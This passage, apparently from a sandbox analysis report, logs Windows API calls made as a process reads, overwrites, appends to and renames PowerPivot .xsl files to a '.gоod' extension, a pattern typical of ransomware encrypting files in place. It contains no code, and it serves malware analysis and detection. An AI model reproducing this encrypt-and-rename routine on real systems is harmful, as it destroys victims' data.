[0240.199] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x49ba [0240.199] WriteFile (in: hFile=0x85c, lpBuffer=0x3abb248*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3abb248*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0240.200] CloseHandle (hObject=0x85c) returned 1 [0240.200] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", lpFilePart=0x0) returned 0x62 [0240.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.200] GetFileType (hFile=0x85c) returned 0x1 [0240.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.200] GetFileType (hFile=0x85c) returned 0x1 [0240.200] ReadFile (in: hFile=0x85c, lpBuffer=0x3abd538, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3abd538*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0240.228] CloseHandle (hObject=0x85c) returned 1 [0240.228] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", lpFilePart=0x0) returned 0x62 [0240.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.229] GetFileType (hFile=0x85c) returned 0x1 [0240.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.229] GetFileType (hFile=0x85c) returned 0x1 [0240.229] WriteFile (in: hFile=0x85c, lpBuffer=0x3abc260*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3abc260*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0240.229] CloseHandle (hObject=0x85c) returned 1 [0240.229] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl", lpFilePart=0x0) returned 0x62 [0240.229] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl.gоod", lpFilePart=0x0) returned 0x67 [0240.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0240.229] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8b675c17, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x49ca)) returned 1 [0240.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0240.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl.gоod")) returned 1 [0240.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", lpFilePart=0x0) returned 0x66 [0240.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0240.230] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3b39a30 | out: lpFileInformation=0x3b39a30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab)) returned 1 [0240.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0240.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", lpFilePart=0x0) returned 0x66 [0240.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.231] GetFileType (hFile=0x85c) returned 0x1 [0240.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.231] GetFileType (hFile=0x85c) returned 0x1 [0240.231] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0240.231] ReadFile (in: hFile=0x85c, lpBuffer=0x3b39ec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3b39ec8*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0240.363] CloseHandle (hObject=0x85c) returned 1 [0240.363] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", lpFilePart=0x0) returned 0x66 [0240.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.363] GetFileType (hFile=0x85c) returned 0x1 [0240.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.363] GetFileType (hFile=0x85c) returned 0x1 [0240.363] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x75ab [0240.363] WriteFile (in: hFile=0x85c, lpBuffer=0x3885a98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3885a98*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0240.364] CloseHandle (hObject=0x85c) returned 1 [0240.364] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", lpFilePart=0x0) returned 0x66 [0240.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.365] GetFileType (hFile=0x85c) returned 0x1 [0240.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.365] GetFileType (hFile=0x85c) returned 0x1 [0240.365] ReadFile (in: hFile=0x85c, lpBuffer=0x3887d98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3887d98*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0240.391] CloseHandle (hObject=0x85c) returned 1 [0240.391] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", lpFilePart=0x0) returned 0x66 [0240.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.391] GetFileType (hFile=0x85c) returned 0x1 [0240.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.391] GetFileType (hFile=0x85c) returned 0x1 [0240.391] WriteFile (in: hFile=0x85c, lpBuffer=0x3886ab0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3886ab0*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0240.392] CloseHandle (hObject=0x85c) returned 1 [0240.392] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl", lpFilePart=0x0) returned 0x66 [0240.392] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl.gоod", lpFilePart=0x0) returned 0x6b [0240.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0240.392] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8b7f355e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x75bb)) returned 1 [0240.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0240.392] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl.gоod")) returned 1 [0240.393] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", lpFilePart=0x0) returned 0x62 [0240.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0240.393] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3906a28 | out: lpFileInformation=0x3906a28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e)) returned 1 [0240.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0240.394] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", lpFilePart=0x0) returned 0x62 [0240.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.394] GetFileType (hFile=0x85c) returned 0x1 [0240.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.394] GetFileType (hFile=0x85c) returned 0x1 [0240.394] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0240.394] ReadFile (in: hFile=0x85c, lpBuffer=0x3906ea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3906ea0*, lpNumberOfBytesRead=0x206ec9c8*=0x1000, lpOverlapped=0x0) returned 1 [0240.396] CloseHandle (hObject=0x85c) returned 1 [0240.396] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", lpFilePart=0x0) returned 0x62 [0240.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.396] GetFileType (hFile=0x85c) returned 0x1 [0240.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.396] GetFileType (hFile=0x85c) returned 0x1 [0240.396] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1816e [0240.396] WriteFile (in: hFile=0x85c, lpBuffer=0x3908328*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3908328*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0240.742] CloseHandle (hObject=0x85c) returned 1 [0240.743] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", lpFilePart=0x0) returned 0x62 [0240.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.743] GetFileType (hFile=0x85c) returned 0x1 [0240.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.743] GetFileType (hFile=0x85c) returned 0x1 [0240.743] ReadFile (in: hFile=0x85c, lpBuffer=0x393c848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x393c848*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0240.867] CloseHandle (hObject=0x85c) returned 1 [0240.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", lpFilePart=0x0) returned 0x62 [0240.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.868] GetFileType (hFile=0x85c) returned 0x1 [0240.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.868] GetFileType (hFile=0x85c) returned 0x1 [0240.868] WriteFile (in: hFile=0x85c, lpBuffer=0x393b570*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x393b570*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0240.868] CloseHandle (hObject=0x85c) returned 1 [0240.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", lpFilePart=0x0) returned 0x62 [0240.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl.gоod", lpFilePart=0x0) returned 0x67 [0240.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0240.868] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8bc91e96, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1817e)) returned 1 [0240.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0240.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl.gоod")) returned 1 [0240.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", lpFilePart=0x0) returned 0x66 [0240.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0240.869] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3872c18 | out: lpFileInformation=0x3872c18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27)) returned 1 [0240.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0240.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl", lpFilePart=0x0) returned 0x66 [0240.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0240.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0240.870] GetFileType (hFile=0x85c) returned 0x1 [0240.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0240.870] GetFileType (hFile=0x85c) 